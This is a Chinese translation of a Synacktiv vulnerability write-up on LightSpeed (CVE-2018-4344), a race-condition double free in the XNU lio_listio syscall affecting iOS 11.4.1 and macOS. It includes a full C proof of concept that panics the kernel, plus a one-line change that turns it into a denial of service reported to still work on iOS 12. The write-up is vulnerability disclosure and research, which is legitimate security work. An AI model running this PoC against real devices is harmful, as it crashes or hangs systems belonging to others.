lio_listio和PoC中公开的iOS 11.4.1内核漏洞引起了恐慌。
iOS 12在几周前发布了,并带来了许多安全方面的修复和改进。特别是,这个新版本碰巧修补了我们在Synacktiv发现的一个很厉害的内核漏洞。
目前尚不清楚这个漏洞是由Apple团队内部发现的,还是由英国国家网络安全中心(NCSC)提交的CVE-2018-4344。既然,似乎还没有人提交它,我们就在这篇博客文章中对它进行详细地分析一下!
此漏洞位于lio_listio系统调用中,在竞争条件将会被触发。它可以有效地被用于释放两次内核对象,从而导致潜在的UAF。
这个漏洞本身已经在大约9年前的xnu-1228和xnu-1456之间被提出,应该可以在大多数iOS多核设备上使用,直到iOS 11.4.1(包含在内)版本和MacOS的10.14版本的发布。在内部,我们将此漏洞命名为LightSpeed,因为我们在十分棘手的竞争条件下获胜了(并且作为添加一些关于星球大战模因的借口),但不要担心,我们不会将其作为一种标记。
因为 listio_lio
系统调用可以从任何沙箱访问,并且由于漏洞提供了一些有趣的基本数据类型,LightSpeed可能会用于越狱iOS 11.4.1。但是,这篇博文将仅仅解释漏洞并提供触发内核崩溃的代码。
正如在POSIX.1b中所定义的,XNU内核为用户空间提供不同的系统调用以执行异步的I/O(aio)。该标准规定各种功能,从而实现诸如 aio_read()
, aio_write()
, lio_listio()
, aio_error()
, aio_return()
,...由于至少XNU-517以及大多数结构的开头是在/bsd/sys/aio.h中,这些系统调用在 bsd/kern/kern_aio.c
可以被实现。
作为对AIO函数家族的介绍, aio_read()
和 aio_write()
分别是 read()
的 write()
系统调用的异步版本。这两个函数都期望 structaiocb*
描述要执行的 I/O
请求:
struct aiocb {
int aio_fildes; /* File descriptor */
off_t aio_offset; /* File offset */
volatile void *aio_buf; /* Location of buffer */
size_t aio_nbytes; /* Length of transfer */
int aio_reqprio; /* Request priority offset */
struct sigevent aio_sigevent; /* Signal number and value */
int aio_lio_opcode; /* Operation to be performed */
};
为了执行 I/O
请求,XNU首先通过该函数 aio_create_queue_entry()
,将用户结构转换为 aio_workq_entry
。然后内核通过 aio_enqueue_work()
将创建的对象排入系统的aio队列中。 以下是两种功能的原型:
static aio_workq_entry *
aio_create_queue_entry (proc_t procp, user_addr_t aiocbp,
void * group_tag, int kindOfIO);
static void
aio_enqueue_work ( proc_t procp, aio_workq_entry * entryp, int proc_locked);
加入队列之后,预定的工作准备好由 aio workers
提取和处理, aio worker
是执行函数 aio_work_thread()
的内核线程。 aio_read()
和 aio_write()
系统调用可以立即返回,并且稍后通过 aio_return()
, aio_error()
可以请求aio的状态。
介绍完了之后,我们来谈谈 lio_listio()
。这个系统调用类似于 aio_read()
和 aio_write()
,它被设计用于在一个调用中调度AIO的整个列表。所以它需要aiocb的一个数组以及其他一些参数。
int lio_listio(int mode, struct aiocb *restrict const list[restrict],
int nent, struct sigevent *restrict sig);
该mode参数指定了系统调用的行为,并且必须以下其中的一个:
在LIO_WAIT情况下,内核必须跟踪整批aio。实际上,当最后一个I/O被处理时,aio worker线程想要唤醒仍然在系统调用中等待用户的线程。
所以内核分配了一个 structaio_lio_context
来处理它的 I/O
(这在两种模式下完成):
struct aio_lio_context
{
int io_waiter;
int io_issued;
int io_completed;
};
typedef struct aio_lio_context aio_lio_context;
以下是lio_listio执行的相关部分(大部分已被删除):
int lio_listio(proc_t p, struct lio_listio_args *uap, int *retval )
{
/* lio_context allocation */
MALLOC(lio_context, aio_lio_context*, sizeof(aio_lio_context), M_TEMP, M_WAITOK);
/* userland extraction */
aiocbpp = aio_copy_in_list(p, uap->aiocblist, uap->nent);
lio_context->io_issued = uap->nent;
for ( i = 0; i < uap->nent; i++ ) {
user_addr_t my_aiocbp;
aio_workq_entry *entryp;
*(entryp_listp + i) = NULL;
my_aiocbp = *(aiocbpp + i);
/* creation of the aio_workq_entry */
/* lio_create_entry is a wrapper for aio_create_queue_entry */
result = lio_create_entry(p, my_aiocbp, lio_context, (entryp_listp+i));
if ( result != 0 && call_result == -1 )
call_result = result;
entryp = *(entryp_listp + i);
aio_proc_lock_spin(p);
// [...]
/* enqueing of the aio_workq_*/
lck_mtx_convert_spin(aio_proc_mutex(p));
aio_enqueue_work(p, entryp, 1);
aio_proc_unlock(p);
}
// [...]
}
在这里,我们可以看到, lio_context
在每个 aio_workq_entry
中都被标记上了(作为 aio_create_queue_entry()
中的group_tag参数)。稍后,aio worker线程将检索此context,更新 lio_context->io_completed
并在需要时唤醒用户线程。
我们在上一节中解释了aioliocontext的用法,但仍然存在一个问题:谁负责释放context?这取决于mode操作。
当liolistio在LIONOWAIT模式时被调用,系统调用中的线程不会等待所有I/O被执行完成。所以释放liocontext是aio worker的工作。这是在最后一个aio被处理后,在doaio_completion例程中完成的:
static void do_aio_completion( aio_workq_entry *entryp )
{
// [...]
lio_context = (aio_lio_context *)entryp->group_tag;
if (lio_context != NULL) {
aio_proc_lock_spin(entryp->procp);
lio_context->io_completed++;
if (lio_context->io_issued == lio_context->io_completed) {
lastLioCompleted = TRUE;
}
waiter = lio_context->io_waiter;
/* explicit wakeup of lio_listio() waiting in LIO_WAIT */
if ((entryp->flags & AIO_LIO_NOTIFY) && (lastLioCompleted) && (waiter != 0)) {
/* wake up the waiter */
wakeup(lio_context);
}
aio_proc_unlock(entryp->procp);
}
// [...]
if (lastLioCompleted && (waiter == 0))
free_lio_context (lio_context);
} /* do_aio_completion */
另一方面,当调用者在LIOWAIT模式下等待时,liocontext将在lio_listio被释放 。以下是系统调用结束时的相关部分:
int lio_listio(proc_t p, struct lio_listio_args *uap, int *retval )
{
// [...]
switch(uap->mode) {
case LIO_WAIT:
aio_proc_lock_spin(p);
while (lio_context->io_completed < lio_context->io_issued) {
result = msleep(lio_context, aio_proc_mutex(p), /*...*/);
// [...]
}
/* If all IOs have finished must free it */
if (lio_context->io_completed == lio_context->io_issued) {
free_context = TRUE;
}
aio_proc_unlock(p);
break;
case LIO_NOWAIT:
break;
}
// [...]
ExitRoutine:
if ( entryp_listp != NULL )
FREE( entryp_listp, M_TEMP );
if ( aiocbpp != NULL )
FREE( aiocbpp, M_TEMP );
if ((lio_context != NULL) &&
((lio_context->io_issued == 0) || (free_context == TRUE))) {
free_lio_context(lio_context);
}
// [...]
return( call_result );
} /* lio_listio */
前面的代码有一个小小的漏洞,可以在LIONOWAIT模式下被触发。最后一部分的test (liocontext->ioissued == 0)是在没有I/O被调度时,一个释放context的错误处理案例。例如,当用户向I/O发出请求,但它们都有LIONOP作为aiolioopcode(而不是LIOREAD或LIOWRITE)时,这就有可能发生。
但是,在执行时,先前的检查是错误的,并且由于其他内核线程可能已经篡改了,因此lio_context无法得到保证。
重点来了!
如果我们有超快的aio worker,甚至可以在系统调用结束之前执行我们所有的I/O,liocontext可能已经被释放并且已经被再次使用了。实际上,一旦aio被安排上,worker只需要调用者的pmlock程序开始工作,并且lio_listio会在多个时间释放它。
因此,如果liocontext被释放并且再次使用,那么liocontext->ioissued可能为零。在这种情况下,liolistio再次以调用freeliocontext()结束,并且最终释放另一个内核分配。
总而言之,我们需要按照以下顺序才能触发漏洞:
1.调用liolistio()来分配aioliocontext以及调度一些aio,然后在系统调用结束之前进行context切换; 2.aio worker线程执行所有调度的I/O,并释放aioliocontext; 3.kalloc.16池中的分配(aioliocontext的大小)再次使用与aioliocontext相同的分配; 4.在分配的第二个双字值中写入零(来进行liocontext->ioissued == 0); 5.context切换以继续推迟liolistio调用并引起分配释放。
步骤3和4是强制性的。实际上,由于alloc (kalloc16)的大小,空闲chunk最终总是会中毒(in zfree()),所以如果不重用分配,则在步骤5中liocontext->ioissued不能为零。在步骤5之后,如果未保持分配,并且内核尝试释放它,则系统将发生混乱。
以下代码展示了这种混乱(github link)(https://github.com/synacktiv/lightspeed):
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <aio.h>
#include <sys/errno.h>
#include <pthread.h>
#include <poll.h>
/* might have to play with those a bit */
#if MACOS_BUILD
#define NB_LIO_LISTIO 1
#define NB_RACER 5
#else
#define NB_LIO_LISTIO 1
#define NB_RACER 30
#endif
#define NENT 1
void *anakin(void *a)
{
printf("Now THIS is podracing!\n");
uint64_t err;
int mode = LIO_NOWAIT;
int nent = NENT;
char buf[NENT];
void *sigp = NULL;
struct aiocb** aio_list = NULL;
struct aiocb* aios = NULL;
char path[1024] = {0};
#if MACOS_BUILD
snprintf(path, sizeof(path), "/tmp/lightspeed");
#else
snprintf(path, sizeof(path), "%slightspeed", getenv("TMPDIR"));
#endif
int fd = open(path, O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
if (fd < 0)
{
perror("open");
goto exit;
}
/* prepare real aio */
aio_list = malloc(nent * sizeof(*aio_list));
if (aio_list == NULL)
{
perror("malloc");
goto exit;
}
aios = malloc(nent * sizeof(*aios));
if (aios == NULL)
{
perror("malloc");
goto exit;
}
memset(aios, 0, nent * sizeof(*aios));
for(uint32_t i = 0; i < nent; i++)
{
struct aiocb* aio = &aios[i];
aio->aio_fildes = fd;
aio->aio_offset = 0;
aio->aio_buf = &buf[i];
aio->aio_nbytes = 1;
aio->aio_lio_opcode = LIO_READ; // change that to LIO_NOP for a DoS :D
aio->aio_sigevent.sigev_notify = SIGEV_NONE;
aio_list[i] = aio;
}
while(1)
{
err = lio_listio(mode, aio_list, nent, sigp);
for(uint32_t i = 0; i < nent; i++)
{
/* check the return err of the aio to fully consume it */
while(aio_error(aio_list[i]) == EINPROGRESS) {
usleep(100);
}
err = aio_return(aio_list[i]);
}
}
exit:
if(fd >= 0)
close(fd);
if(aio_list != NULL)
free(aio_list);
if(aios != NULL)
free(aios);
return NULL;
}
void *sebulba()
{
printf("You're Bantha poodoo!\n");
while(1)
{
/* not mandatory but used to make the race more likely */
/* this poll() will force a kalloc16 of a struct poll_continue_args */
/* with its second dword as 0 (to collide with lio_context->io_issued == 0) */
/* this technique is quite slow (1ms waiting time) and better ways to do so exists */
int n = poll(NULL, 0, 1);
if(n != 0)
{
/* when the race plays perfectly we might detect it before the crash */
/* most of the time though, we will just panic without going here */
printf("poll: %x - kernel crash incomming!\n",n);
}
}
return 0;
}
void crash_kernel()
{
pthread_t *lio_listio_threads = malloc(NB_LIO_LISTIO * sizeof(*lio_listio_threads));
if (lio_listio_threads == NULL)
{
perror("malloc");
goto exit;
}
pthread_t *racers_threads = malloc(NB_RACER * sizeof(*racers_threads));
if (racers_threads == NULL)
{
perror("malloc");
goto exit;
}
memset(racers_threads, 0, NB_RACER * sizeof(*racers_threads));
memset(lio_listio_threads, 0, NB_LIO_LISTIO * sizeof(*lio_listio_threads));
for(uint32_t i = 0; i < NB_RACER; i++)
{
pthread_create(&racers_threads[i], NULL, sebulba, NULL);
}
for(uint32_t i = 0; i < NB_LIO_LISTIO; i++)
{
pthread_create(&lio_listio_threads[i], NULL, anakin, NULL);
}
for(uint32_t i = 0; i < NB_RACER; i++)
{
pthread_join(racers_threads[i], NULL);
}
for(uint32_t i = 0; i < NB_LIO_LISTIO; i++)
{
pthread_join(lio_listio_threads[i], NULL);
}
exit:
return;
}
#if MACOS_BUILD
int main(int argc, char* argv[])
{
crash_kernel();
return 0;
}
#endif
虽然最新的XNU源(4570.71.2)仍然存在该漏洞,但该漏洞在iOS 12版本中得到了修复(至少从beta 4开始)。
以下是系统调用结束时Hex-Rays Decompiler的输出:
此代码可能是以下编译的结果:
if ((free_context == TRUE) && (lio_context != NULL)) {
free_lio_context(lio_context);
}
一方面,该补丁修复了liocontext上的潜在的UAF。但另一方面,修复之前处理过的错误情况现在被忽略了...因此,可以使liolistio()分配一个永远不会被内核释放的aioliocontext。这给了我们一个错误的DoS,它会使最近的内核停止相应(包括iOS 12)。
要测试它,只需将PoC上的LIOREAD更改为LIONOP,并将NB_RACER设置为0。
最后,我们很高兴在此博客文章中公开了此漏洞,我们希望您喜欢。此漏洞在iOS 11.4.1上仍然可触发,因此可以尝试从中构建越狱(虽然用其他已披露的漏洞可能会更容易)。
对于其他的,在未来我们将看到Apple是否会用patch :D修复他们引入的小型DoS。
非常感谢我的同事们帮助完成这篇博文章。
原文链接:https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html?tdsourcetag=spcqqaiomsg